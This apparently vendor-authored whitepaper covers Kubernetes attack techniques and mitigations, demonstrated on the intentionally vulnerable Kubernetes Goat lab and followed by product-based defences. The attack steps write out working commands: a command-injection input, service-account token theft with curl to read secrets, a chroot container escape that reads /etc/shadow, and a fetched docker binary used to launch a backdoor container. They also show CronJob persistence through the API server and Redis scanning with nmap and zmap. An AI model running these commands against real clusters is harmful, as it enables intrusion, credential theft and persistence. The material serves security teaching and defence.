CLOUD-NATIVE SECURITY: Kubernetes Threats and Mitigations Security Best Practices How to design and build a secure and efficient DevOps environment based on the Cloud Native Security approach and technologies

Version 2 (2022)

Enterprise Security Architecture Group | Strategic Consulting

2

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

ABSTRACT Containers emerged as a lightweight alternative for virtual machines and quickly became popular for microservice applications. The most popular and one of the fastest-growing container orchestration systems is Kubernetes.

Vanilla Kubernetes as well as managed Kubernetes platform systems such as AKS, EKS, and GCP, or platforms based on the likes of RedHat OpenShift have become a significant part of many companies’ compute stacks.

This paper highlights new security issues introduced by these technologies and provides attack examples and recommendations on how to make both CI/CD and Kubernetes-based environments more secure.

AUDIENCE This guide provides practical insight for anyone taking up the challenge of securing Kubernetes while maintaining agility. While technical in nature, this learning guide identifies true Kubernetes security risks in the context of technology trends relating to cloud transformation, cloud-native security, DevOps, DevSecOps, CI/CD pipelines, and containerization.

Deeply understanding weaknesses and specific attacks exploiting Kubernetes and containers is crucial but not enough. This guide goes to the next level and provides practical mitigations against these specific attacks. Developers, engineers and managers, cloud infrastructure architects and engineers, and cybersecurity teams will all benefit from this whitepaper. Moreover, the alignment of specific Kubernetes and container attacks to the Cyber Kill Chain and MITRE ATT&ACK framework makes this guide relatable for all cybersecurity teams.

Familiarity with basic concepts of virtualization, networks, and security design is expected.

3

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

TABLE OF CONTENTS Introduction ............................................................................................................................... 4

Cyber attack Kill Chain ............................................................................................................................. 4 MITRE ATT&CK ....................................................................................................................................... 4

Problem Areas .......................................................................................................................... 5 Security Technologies .............................................................................................................. 6

Cloud Native Application Protection Platform ........................................................................................... 6 4C Model .................................................................................................................................................. 6 4C and CNAPP Adjacency ....................................................................................................................... 7

Cyber-chain Example................................................................................................................ 8 Step 1 – Exec into container................................................................................................................... 10

Step 1a – Exec into container / Command injection .......................................................................... 10 Step 1b – Exec into container / RCE vulnerability .............................................................................. 11

Step 2 Container escape ........................................................................................................................ 12 Step 2a – Access container service account ..................................................................................... 13 Step 2b – hostPath mount .................................................................................................................. 14

Step 3 – Backdoor container .................................................................................................................. 14 Step 3a – Backdoor container / Docker in Docker ............................................................................. 15 Step 3b – Backdoor container / Kubernetes API ................................................................................ 17

Step 4 – Network mapping and Cluster internal networking .................................................................. 18 Step 4a – Cluster internal networking / Redis .................................................................................... 19 Step 4b – Cluster internal networking ................................................................................................ 19

Step 5 – Impact ...................................................................................................................................... 20 Step 5a – Impact / Denial of services ................................................................................................. 20 Step 5b – Impact / Resource hijacking ............................................................................................... 21

Mitigation ................................................................................................................................. 23 Posture Management – CSPM ............................................................................................................... 23 Intelligence and Threat Hunting – CWPP, CNS ..................................................................................... 27 Image Assurance – CWPP ..................................................................................................................... 29 Admission Control – CWPP .................................................................................................................... 32 Runtime Protection – CWPP .................................................................................................................. 34 AppSec – CWPP, CNS ........................................................................................................................... 35

CONCLUSION .......................................................................................................................... 37

4

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

INTRODUCTION The first mention of DevOps appeared somewhere in 2010. And now we are seeing an explosion in the popularity of DevOps and Kubernetes, which together are a suberb combo. At the same time, new technologies expand the threat landscape with new attack vectors, which can’t be addressed with traditional solutions.

A new approach (like per Gartner CNAPP), new technologies, and products are required. And this document will provide insights and examples of these new attacks and offer some mitigation options.

CYBER ATTACK KILL CHAIN

We often talk about attacks; however, a single attack exploiting a single vulnerability is a rare case. To better describe the complexity of typical cyberattacks, Lockheed Martin introduced the term “kill chain,” which breaks down an external originating cyberattack into seven distinct steps:

• Reconnaissance Intruder picks a target, researches it, and looks for vulnerabilities

• Weaponization Intruder develops malware designed to exploit the vulnerability

• Delivery Intruder transmits the malware via a phishing email or another medium

• Exploitation The malware begins executing on the target system

• Installation The malware installs a backdoor or other ingress accessible to the attacker

• Command and Control The intruder gains persistent access to the victim’s systems/network

• Actions on objective Intruder initiates end goal actions, such as data theft, data corruption, or data destruction

It’s, therefore, crucial to understand that by providing multilayered protection we can stop major cyberattack chains at certain stages even if our system has vulnerabilities and some small attacks may be successful. Swiss cheese is an excellent metaphor to demonstrate this idea: even though every piece of cheese has a hole, combined, they create a solid, hole-free construct.

In this whitepaper, we will go through examples of multi-stage attack variations, show how the attacks can be stopped by different tools at different protection layers, and also go through popular attack vectors and best practices to mitigate them.

MITRE ATT&CK

The kill chain was further extended by the MITRE Corporation, where every stage was enriched with specific techniques used by attackers.

Based on the MITRE ATT&CK Matrix, Microsoft has prepared a threat matrix for containerized environments1. Initial access Execution Persistence Privilege

escalation Defense evasion

Credential access

Discovery Lateral movement

Collection Impact

Using Cloud credentials

Exec into container

Backdoor container

Privileged container

Clear container logs

List K8s secrets Access the K8s API server

Access cloud resources

Images from a private registry

Data destruction

Compromised images in registry

bash/cmd inside container

Writable hostPath mount

Cluster-admin binding

Delete K8s events

Mount service principal

Access Kubelet API

Container service account

Resource hijacking

Kubeconfig file New container Kubernetes CronJob

hostPath mount

Pod / container

name similarity

Access container service account

Network mapping

Cluster internal networking

Denial of services

1 https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated- threat-matrix-for-kubernetes/

https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/ https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/

5

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

Application vulnerability

Application exploit (RCE)

Malicious admission controller

Access cloud resources

Connect from Proxy server

Applications credentials in

configuration files

Access Kubernetes dashboard

Applications credentials in

configuration files

Exposed sensitive interfaces

SSH server running inside

container

Access managed identity

credentials

Instance Metadata API

Writable volume mounts on the

host

Sidecar injection

Malicious admission controller

CoreDNS poisoning

ARP poisoning and IP spoofing

PROBLEM AREAS A typical containerized environment includes many components (bare metal, virtual machines, containerization/orchestration platform, containers with applications, networking components, etc.). All of them may have misconfigurations, vulnerabilities, and can be attacked.

Attack vectors

There are many causes for so many attack vectors, including bad code by business application developers, vulnerabilities in system applications and libraries, poor network control, mistakes of administrators/DevOps, and more. Each of these can become an attack vector and should be accounted for and mitigated by the various protective layers.

Common problem areas

6

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

SECURITY TECHNOLOGIES

CLOUD NATIVE APPLICATION PROTECTION PLATFORM

There are many technologies to address the security risks presented in the previous section of this paper. One of the ways the risks can be grouped is into three pillars according to Gartner's Cloud Native Application Protection Platform (CNAPP) model2. Check Point aligns with the model and provide various technologies and products that address the most of the essential pillars of the CNAPP.

CNAPP – Cloud Native Application Protection Platform: Check Point capabilities

The core pillar of CNAPP is Cloud Security Posture Management (CSPM) since the control plane must be protected first. Here, we are talking about “Cloud-Native”, as these protections must be mostly agentless, protect assets wherever they are placed, and provide powerful visualization for many aspects of the environment.

The second pillar is the Cloud Workload Protection Platform (CWPP). Its focus is on securing workloads themselves, including protecting properties to avoid breaches and using threat-hunting technologies to quickly identify breaches and respond when the system is compromised.

There is also a new pillar: Cloud Infrastructure Entitlement Management (CIEM). CIEM solutions are designed to manage access to cloud resources, enabling an organization to implement the principle of least privilege and a zero-trust security model.

4C MODEL

Another grouping approach is the 4C model3, proposed by Google for the popular Kubernetes platform they invented.

2 Source: Gartner 716192_C, 742828_C 3 Source: https://kubernetes.io/docs/concepts/security/overview/

7

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

The 4C's of Cloud Native Security

The four layers are as follows:

1. Cloud/Co-location/Data Center. A strong base is needed to build systems on top of it; therefore, if the cloud or Data Center is insecure, the whole system can be compromised.

2. Kubernetes cluster. Both a vanilla Kubernetes on-prem and a managed Kubernetes cluster like AKS/EKS/GKE bring additional risks which must be addressed. If somebody can compromise the Kubernetes cluster, they can take control of the entire infrastructure.

3. Containers.

4. Code.

4C AND CNAPP ADJACENCY

Both models present important layers which require different sets of protection. Below you can see how the Security Functions matrix covers both the CNAPP and 4C models.

Cloud-Native Application Protection Platform (CNAPP) Security Functions

More details can be found in the Cloud Native Security Model playbook.

https://resources.checkpoint.com/security-references-public-cloud/cloud-native-security-model

8

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

CYBER-CHAIN EXAMPLE We will use the Kubernetes Goat4 project, which intentionally creates vulnerable assets in the cluster, to demonstrate some popular attack techniques.

The project contains multiple pods, including frontend (health-check), backend, database, registry, caching, etc.

Kubernetes Goat infrastructure

For web-specific attacks, we will also use a Damn Vulnerable Web Application5.

In the Cyber-chain example (the following section), we will attack the environment using different techniques targeting various vulnerabilities. In the Mitigation section, we will repeat these steps after deploying Check Point’s solutions and examine how the cyber-chain can be stopped at different stages. This will help us to demonstrate the importance of multilayered protections.

Let’s look at a sample attack that starts with the Execution (Exec into container), expands with Credential access (access container service account), and Privilege escalation (hostPath mount) before going further.

4 https://madhuakula.com/kubernetes-goat/ 5 https://dvwa.co.uk/

https://madhuakula.com/kubernetes-goat/ https://dvwa.co.uk/

9

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

By gaining access to the container (1) the attacker can escape from the container to the node context (2b) in the next step, or steal credentials (2a) to use the Kubernetes API affecting other pods and nodes.

The attack will continue to grow and will be discussed below.

10

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

The tactics mentioned in the MITRE matrix for Kubernetes and examined in this document are highlighted in the table:

Initial access Execution Persistence Privilege escalation

Defense evasion

Credential access

Discovery Lateral movement

Collection Impact

Using Cloud credentials

Exec into container

Backdoor container

Privileged container

Clear container logs List K8s secrets

Access the K8s API server

Access cloud resources

Images from a private registry

Data Destruction

Compromised images in the

registry

bash/cmd inside

container

Writable hostPath

mount Cluster-admin

binding Delete K8s

events Mount service

principal Access Kubelet

API Container service

account Resource Hijacking

Kubeconfig file New container Kubernetes CronJob hostPath

mount Pod/container

name similarity

Access container service account

Network mapping

Cluster internal networking

Denial of services

Application vulnerability

Application exploit (RCE)

Malicious admission controller

Access cloud resources

Connect from Proxy server

Applications credentials in configuration

files

Access Kubernetes dashboard

Applications credentials in configuration

files

Exposed sensitive interfaces

SSH server running inside

container

Access managed identity

credentials Instance

Metadata API Writable volume mounts on the

host

Sidecar injection Malicious admission controller

CoreDNS poisoning

ARP poisoning and IP spoofing

Notably, the attacker can take steps for defense evasion or achieve persistence in the system, even after this vulnerable container is destroyed.

STEP 1 – EXEC INTO CONTAINER

An application deployed in the cluster and is vulnerable to a remote code execution (RCE) vulnerability, or a vulnerability that eventually allows code execution enables attackers to run code in the cluster.

STEP 1A – EXEC INTO CONTAINER / COMMAND INJECTION

By looking at the application functionality, the attacker identified that it has command injection vulnerability.

An IP address is expected as the server address. As the user input is not validated properly, other commands can be added. The input below executes two commands: ping 127.0.0.1; id so that an arbitrary code can be implemented in the container.

11

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

Any command can be executed remotely, which means the attack can be expanded in different ways.

Below you can see which tools can be used to mitigate this kind of vulnerability:

1. Source Code and Image Scan find vulnerable dependencies and bad practices in the custom code.

2. Web App & API firewalls prevent malicious request exploitation even if vulnerabilities still exist.

3. Runtime protection warns about unusual behavior in containers that have been compromised.

Further detailed examples can be found in the Mitigation section.

STEP 1B – EXEC INTO CONTAINER / RCE VULNERABILITY

There might also be other causes of RCE (Remote Code Execution) vulnerabilities, such as CVEs or 0-Day vulnerabilities in the application, library, and daemon.

12

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

In all such cases, the idea of this tactic is to execute a command within a container and expand the attack further. The approaches to mitigate such attacks include:

• Code and image scanning as part of CI/CD (ShiftLeft) and Runtime Image Assurance. • Web App & API firewalls (AppSec). • Workload behavior analysis (Runtime Protection).

It’s important to note that Runtime Image Assurance is required to catch potential issues if someone bypasses CI/CD security checks.

STEP 2 CONTAINER ESCAPE

Once initial access to a container is gained (e.g., leveraging RCE vulnerability in the health-check container), the attacker may attempt to escape outside the container to the Node/host Operating System or the Kubernetes control plane.

13

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

STEP 2A – ACCESS CONTAINER SERVICE ACCOUNT

Service Account (SA) represents an application identity in Kubernetes. By default, an SA is mounted to every pod created in the cluster. Using the SA, containers in the pod can send requests to the Kubernetes API server. Attackers who get access to a pod can access the SA token (often located in /var/run/secrets/kubernetes.io/serviceaccount/token) and perform actions in the cluster, according to the SA permissions. If RBAC is not enabled, the SA has unlimited permissions in the cluster, putting the environment at serious risk. If RBAC is enabled, its permissions are determined by the RoleBindings / ClusterRoleBindings associated with it. Excessive privileges associated with an SA must therefore be avoided.

• Posture Management finds misconfigurations. • Admission Control prevents deploying pods with excessive permissions. • Runtime protection can detect unusual processes inside the container trying to utilize excessive

SA permissions.

Below is an example of how this can be done. export APISERVER=https://${KUBERNETES_SERVICE_HOST} export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace) export TOKEN=$(cat ${SERVICEACCOUNT}/token) export CACERT=${SERVICEACCOUNT}/ca.crt curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api

An attacker can also send authorized requests to manipulate deployments, query for secrets, and execute other actions for which SA has been granted privileges: curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets | grep k8svaultapikey echo "azhzLWdvYXQtODUwNTc4NDZhODA0NmEyNWIzNWYzOGYzYTI2NDlkY2U=" | base64 -d

14

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

STEP 2B – HOSTPATH MOUNT

hostPath volume mounts a directory or a file from the host to the container. Attackers who have permission to create a new container in the cluster may create one with a writable hostPath volume and gain persistence on the underlying host. For example, the latter can be achieved by creating a cron job on the host.

• Posture Management finds misconfigurations. • Admission Control prevents deploying pods with such a misconfiguration (allows high-risk

operations only for super admins). • Runtime Protection might detect chroot or other commands not found during normal operations.

Here is another example of a "container escape" attack. If the container (system-monitor) already has the node file system mounted inside the container under /host-system, it will allow the system to run the command in the node context, thus affecting the system and other pods: chroot /host-system bash # now in the node context: cat /etc/shadow docker ps

If this container wouldn’t have such a misconfiguration, a special container (pod) with hostPath mount might be deployed first using the serviceaccount token obtained in Step 2a.

STEP 3 – BACKDOOR CONTAINER

Next, attackers may run their malicious code in a container in the cluster.

15

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

STEP 3A – BACKDOOR CONTAINER / DOCKER IN DOCKER

An attacker can target an existing container with a mounted docker.sock, deploy others, and even make them persistent.

The container health-check has a docker.sock mount available in the file system. Although it may be a mistake, most CI/CD and pipeline systems that use Docker and build containers within the pipeline use something called DIND (Docker-in-Docker). This can be used to exploit and gain access to the host system.

16

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

Rather than displaying a massive web output, screenshots will be shown from the terminal window. This allows for a more compact and informative view. “;” in front of the command is required when running through the web interface.

• Download the docker static binary from the internet ;wget https://download.docker.com/linux/static/stable/x86_64/docker-19.03.9.tgz -O /tmp/docker-19.03.9.tgz

• Extract the binary from the docker-19.03.9.tgz file

;tar -xvzf /tmp/docker-19.03.9.tgz -C /tmp/ • Access the host system by running the following docker commands with docker.sock

;/tmp/docker/docker -H unix:///custom/docker/docker.sock ps | grep mad

• Run the hacker-container on the node

;/tmp/docker/docker -H unix:///custom/docker/docker.sock run --rm -it --name hacker-container madhuakula/hacker-container sh

https://download.docker.com/linux/static/stable/x86_64/docker-19.03.9.tgz%20-O%20/tmp/docker-19.03.9.tgz https://download.docker.com/linux/static/stable/x86_64/docker-19.03.9.tgz%20-O%20/tmp/docker-19.03.9.tgz

17

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

By accessing the frontend health-check container, the attacker has started a hacker-container on the k8s- worker1 node of the Kubernetes cluster:

STEP 3B – BACKDOOR CONTAINER / KUBERNETES API

• Posture Management identifies Cron Job workloads that haven’t been created by the administrator.

• Admission Control denies deploying Cron Jobs by everybody except super admins.

Usually, a container is run from the command line using kubectl:

kubectl run -it hacker-container --image=madhuakula/hacker-container -- sh

Alternatively, this can be done using curl (serviceaccount token was obtained in step 2a):

curl --cacert ${CACERT} -k -X POST -H 'Content-Type: application/yaml' \ -H "Authorization: Bearer ${TOKEN}" --data ' apiVersion: v1 kind: Pod metadata: name: hacker-container spec: containers: - name: hacker-container image: madhuakula/hacker-container ports: - containerPort: 22 ' "${APISERVER}/api/v1/namespaces/default/pods"

Or a CronJob can be created giving a persistence: curl --cacert ${CACERT} -k -X POST -H 'Content-Type: application/yaml' \ -H "Authorization: Bearer ${TOKEN}" --data ' apiVersion: batch/v1beta1 kind: CronJob

18

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

metadata: name: hacker-container spec: schedule: "0 1 * * *" concurrencyPolicy: Forbid successfulJobsHistoryLimit: 1 failedJobsHistoryLimit: 1 jobTemplate: spec: template: spec: containers: - name: hacker-container image: madhuakula/hacker-container ' "${APISERVER}/apis/batch/v1beta1/namespaces/default/cronjobs"

Either way, the attacker can now start network mapping and other attacks such as running crypto miners, denial of service (fill the cluster with malicious pods), and lateral movement.

STEP 4 – NETWORK MAPPING AND CLUSTER INTERNAL NETWORKING

Next, attackers may try to map the cluster network to get information on the running applications, including scanning for known vulnerabilities. By default, there is no restriction on pod communication in Kubernetes. Therefore, attackers who gain access to a single container may use it to probe the network.

Furthermore, Kubernetes uses a flat networking schema by default, which means any pod/service within the cluster can talk to all the others.

The namespaces within the cluster also don't have any network security restrictions by default. This means that anyone in the namespace can talk to other namespaces and access services with poor authentication and vulnerabilities.

If you want to control traffic flow at the IP address or port level (OSI layer 3 or 4), then you might want to consider using Kubernetes NetworkPolicies for particular applications in your cluster. Please note that the network plugin implements network policies and that not all plugins support NetworkPolicy. Also, creating a NetworkPolicy resource without a controller that implements it will have no effect.

19

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

• Runtime protection detects an unusual process (for instance, download of a statically linked nmap). • Flow Log Analysis detects unusual network communication. • Container FW drops packets violating security policy (automatically learned/manually tuned).

STEP 4A – CLUSTER INTERNAL NETWORKING / REDIS

In this example, an attacker may search for vulnerable instances of Redis – a popular caching middleware designed for internal access within trusted networks and hence often not secured.

Redis general security model6

Redis is designed to be accessed by trusted clients inside trusted environments. This means that usually, it is not a good idea to expose the Redis instance directly to the internet or, in general, to an environment where untrusted clients can directly access the Redis TCP port or UNIX socket.

The attacker can easily run the internal scan for the entire cluster range using nmap or zmap on port 6379 (the default port of Redis). nmap --open -p 6379 -oG - 10.0.0.0/8 | grep open zmap -p 6379 10.0.0.0/8 -o results.csv

The Redis server can easily also be accessed: redis-cli -h 10.253.228.160 KEYS * GET SECRETSTUFF

Many other services and resources are exposed within the cluster like ElasticSearch, Mongo, and more. Once accessed, the attacker will reach the gold mine.

STEP 4B – CLUSTER INTERNAL NETWORKING

In another example, let’s look at containers with open port TCP/80:

6 https://redis.io/topics/security

https://redis.io/topics/security

20

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

• One of the IP addresses with an open TCP/80 port belongs to metadata-db.

curl 10.253.228.154 • After enumerating through the entire key values, the attacker finally identified the flag at

http://metadata-db/latest/secrets/kubernetes-goat • Then decoding the base64 returns the flag as k8s-goat-ca90ef85db7a5aef0198d02fb0df9cab

echo -n "azhzLWdvYXQtY2E5MGVmODVkYjdhNWFlZjAxOThkMDJmYjBkZjljYWI=" | base64 -d

k8s-goat-ca90ef85db7a5aef0198d02fb0df9cab

STEP 5 – IMPACT

Once vulnerable internal services are identified within the cluster, they can be attacked in many ways.

STEP 5A – IMPACT / DENIAL OF SERVICES

Attackers may attempt to perform a denial-of-service attack, making the service unavailable to legitimate users. In container clusters, this includes attempts to block the availability of the containers themselves, the underlying nodes, or the API server.

21

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

Normal resource consumption

After stress-ng inside the pod

• Admission control can prevent granting over permissive role binding to users or service accounts,

prevent deploying pods without requests/limits, and much more. • Posture Management detects existing misconfigurations (appearing before admission control

deployment or due to applying a stricter policy).

STEP 5B – IMPACT / RESOURCE HIJACKING

Attackers may abuse a compromised resource used for running tasks. An example of this scenario is when a compromised resource is used for running digital currency mining. Attackers who have access to a container in the cluster or have permission to create new containers may use them for such activity.

Besides denial-of-service, there might be other impacts on the system, from running crypto-miners to data destruction.

22

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

Digital currency mining can be detected by runtime protection through threat intelligence signatures. This is learned not only by behavioral analysis but also because Admission Control can prevent launching a crypto miner container.

23

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

MITIGATION

POSTURE MANAGEMENT – CSPM

CloudGuard Posture Management is an innovative service that allows enterprises to efficiently manage the security and compliance of their Kubernetes and public cloud environments at any scale. The CloudGuard family offers technologies to visualize and assess security posture, detect misconfigurations, model, and actively enforce gold standard policies. It also protects against attacks and insider threats, provides cloud security intelligence for cloud intrusion detection, and complies with regulatory requirements and best practices.

Cloud Guard Posture Management is 100% API driven and supports major clouds (AWS, Microsoft Azure, Google Cloud Platform, Alibaba), as well as Kubernetes (on-prem, managed like AKS/EKS/GKE, OpenShift, Tanzu).

Kubernetes CloudGuard Best Practices report

For instance, in this report Posture Management warns that the health-check deployment has a dangerous configuration (access to node-volume, running under privilege mode, etc.)

Many issues in the cases described above (container escape, privilege escalation) were possible because of incorrect container permissions (hostPath mount, etc.). Timely correction of issues raised by Posture Management stops the cyber kill chain.

For easier understanding each finding has a description and remediation suggestions. Some examples:

Ensure pods outside of the kube-system do not have access to node volume Description A hostPath volume mounts a file or directory from the host nodes filesystem into your Pod. This is not something that most Pods will need, but it offers a powerful escape hatch for some applications.

24

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

It is important to watch out when using this type of volume because; when Kubernetes adds resource-aware scheduling, as is planned, it will not be able to account for resource used by a hostPath. Remediation Please refer to the Kubernetes documentation on how to configure the hostpath: https://kubernetes.io/docs/concepts/storage/volumes/#hostpath GSL

KubernetesPod where namespace != 'kube-system' should have spec.volumes contain-all [ hostPath isEmpty()]

Tags HostPath

Ensure that Containers are not running in privileged mode Description Pod Security Policies are cluster-wide resources that control security sensitive aspects of pod specification. Pod Security Policy objects define a set of conditions that a pod must run with in order to be accepted into the system, as well as defaults for their related fields. Remediation Use this example PodSecurityPolicy object in a file to create a policy that simply prevents the creation of privileged pods. apiVersion: policy/v1beta1 kind: PodSecurityPolicy metadata: name: example spec: privileged: false # Don't allow privileged pods! # The rest fills in some required fields. seLinux: rule: RunAsAny supplementalGroups: rule: RunAsAny runAsUser: rule: RunAsAny fsGroup: rule: RunAsAny volumes: - '*' For more on how to enable and update pod specification using Pod Security Policy, please refer: https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privileged GSL

KubernetesPod where ((not name regexMatch /cp-resource-management/) or (spec.containers contain [ securityContext ]) or (spec.initContainers contain [ securityContext]) and (namespace != 'kube-system')) should not have spec.containers contain [ securityContext.privileged=true ] or spec.initContainers contain [ securityContext.privileged=true ]

Tags SecurityContext

Apply Security Context to Your Pods and Containers Description Apply Security Context to Your Pods and Containers. A security context defines the operating system security settings (uid, gid, capabilities, SELinux role, etc..) applied to a container. When designing your containers and pods, make sure that you configure the security context for your pods, containers, and volumes. A security context is a property defined in the deployment yaml. It controls the security parameters that will be assigned to the pod/container/volume. Remediation Follow the Kubernetes documentation and apply security contexts to your pods. For a suggested list of security contexts, you may refer to the CIS Security Benchmark for Docker Containers. Please refer: https://kubernetes.io/docs/concepts/policy/security-context/

https://kubernetes.io/docs/concepts/storage/volumes/#hostpath https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privileged https://kubernetes.io/docs/concepts/policy/security-context/

25

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

GSL

KubernetesPod should have spec.containers contain-all [ securityContext.seLinuxOptions ] and (spec.initContainers isEmpty() or spec.initContainers contain-all [ securityContext.seLinuxOptions ])

Tags SecurityContext

Do not admit root containers Description Do not generally permit containers to be run as the root user. Remediation Create a PSP as described in the Kubernetes documentation, ensuring that the .spec.runAsUser.rule is set to either MustRunAsNonRoot or MustRunAs with the range of UIDs not including 0. GSL

KubernetesPod should have spec.containers contain-all [ securityContext.runAsNonRoot=true ] and (spec.initContainers isEmpty() or spec.initContainers contain-all [ securityContext.runAsNonRoot=true ])

Tags SecurityContext

Ensure containers are secured with AppArmor profile Description Containers with no AppArmor profile - AppArmor is a Linux kernel security module that supplements the standard Linux user and group based permissions to confine programs to a limited set of resources. AppArmor can be configured for any application to reduce its potential attack surface and provide greater in-depth defense. It is configured through profiles tuned to whitelist the access needed by a specific program or container, such as Linux capabilities, network access, file permissions, etc. Each profile can be run in either enforcing mode, which blocks access to disallowed resources, or complain mode, which only reports violations. Remediation To enable containers with AppArmor, please refer to the documentation - https://kubernetes.io/docs/tutorials/clusters/apparmor/#securing-a-pod GSL

KubernetesPod should have annotations contain [ key regexMatch /container.apparmor.security.beta.kubernetes.io\/pod.*/ ]

Tags Identity and Access Management

Ensure that the seccomp profile is set to docker/default in your pod definitions Description Seccomp (secure computing mode) is used to restrict the set of system calls applications can make, allowing cluster administrators greater control over the security of workloads running in the cluster. Kubernetes disables seccomp profiles by default for historical reasons. You should enable it to ensure that the workloads have restricted actions available within the container. Remediation Use security context to enable the docker/default seccomp profile in your pod definitions. References: https://github.com/kubernetes/kubernetes/issues/39845 https://github.com/kubernetes/kubernetes/pull/21790 https://github.com/kubernetes/community/blob/master/contributors/design-proposals/seccomp.md#examples https://docs.docker.com/engine/security/seccomp/ GSL

KubernetesPod should have annotations contain [ key regexMatch /seccomp.security.alpha.kubernetes.io\\/pod.*/ ]

Tags Identity and Access Management

Ensure that the default namespace is not used Description Kubernetes provides a default namespace, where objects are placed if no namespace is specified for them. Placing objects in this namespace makes application of RBAC and other controls more difficult.

https://central.eu1.cgn.portal.checkpoint.com/.spec.runAsUser.rule https://kubernetes.io/docs/tutorials/clusters/apparmor/#securing-a-pod https://github.com/kubernetes/kubernetes/issues/39845 https://github.com/kubernetes/kubernetes/pull/21790 https://github.com/kubernetes/community/blob/master/contributors/design-proposals/seccomp.md#examples https://docs.docker.com/engine/security/seccomp/

26

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

Remediation Ensure that namespaces are created to allow for appropriate segregation of Kubernetes resources. All new resources should be created in a specific namespace. **From Command Line:** Run following kubectl commands: ``` kubectl delete deployment DEPLOYMENT_TO_BE_DELETED kubectl create namespace NAMESPACE_NAME kubectl -n NAMESPACE_NAME apply -f DEPLOYMENT_FILE.yaml ``` References: 1. https://kubernetes.io/docs/concepts/overview/working-with-objects/namespaces/ 2. https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-organizing-with- namespaces GSL

KubernetesPod should not have namespace='default'

Tags Identity and Access Management

Rules are configurable, In particular, exclusions can be added if needed (for example, to stop warnings on “default namespace”).

There are also many other predefined rulesets:

CIS Kubernetes Benchmark v1.20

It’s possible to create custom rule written in GSL (Governance Specification Language). GSL is also used to define Admission Controller policies.

https://central.eu1.cgn.portal.checkpoint.com/DEPLOYMENT_FILE.yaml https://kubernetes.io/docs/concepts/overview/working-with-objects/namespaces/ https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-organizing-with-namespaces https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-organizing-with-namespaces

27

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

INTELLIGENCE AND THREAT HUNTING – CWPP, CNS

CloudGuard Intelligence and Threat Hunting provide cloud-native threat security forensics through rich, machine learning visualization. This gives you the real-time context of threats and anomalies across your multi- cloud environment and Kubernetes managed and on-prem installations.

The service takes event and traffic logs and expands the data with threat cloud IOC information and other types of enrichment. It provides users with the ability to visualize the data flows and run GSL queries for immediate incident response and threat hunting purposes.

Intelligence and Threat Hunting welcome page

Traffic explorer

28

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

There are predefined rules for generating alerts on suspicious events:

Warning on Outbound SSH

Customized rules can be created using GSL. For instance, “Alert on SSH connections to Pods, allow SSH connections outside of the cluster”:

Create GSL rule

Threat Intelligence log

29

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

Threat Intelligence log details

IMAGE ASSURANCE – CWPP

CloudGuard Image Assurance analyzes Kubernetes images at runtime to ensure they are clean. Also, the corporate registry can be scanned to ensure continuous vulnerability assurance throughout the image lifecycle.

The Image Assurance agents continuously check the cluster for all deployed images. If an agent identifies an unknown image, it scans and analyzes the image to find vulnerabilities, exploits, malware, viruses, trojans, credential leakage, and other malicious threats.

Most issues were found in images from the registry “madhuakula” used by the Kubernetes-goat project:

Image Assurance

30

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

Latest vulnerabilities (Container scanning)

Details on the “ssh_key” finding

SInce Image Assurance uses the same ShiftLeft engine as for CI/CD integration, these results are also visible on the ShiftLeft (former SourceGuard) portal.

31

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

Extended scanning results on the ShiftLeft web-portal.

32

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

ShiftLeft is also extended with Spectral solution enabling CI/CD hardening and many more.

ADMISSION CONTROL – CWPP

Admission Control intercepts requests to the Kubernetes API server before they become persistent.

Based on the Admission Control, the request can be immediately rejected, and an error is returned to the end- user. Admission Control can also detect violations and reports without rejecting the request.

In Step 5 – Impact of the cyber-chain example, it was demonstrated how a single container could consume all node resources affecting other pods. Posture Management can warn about it after running a specified rule set; however, there might be some time when such a dangerous pod is running.

Posture management report

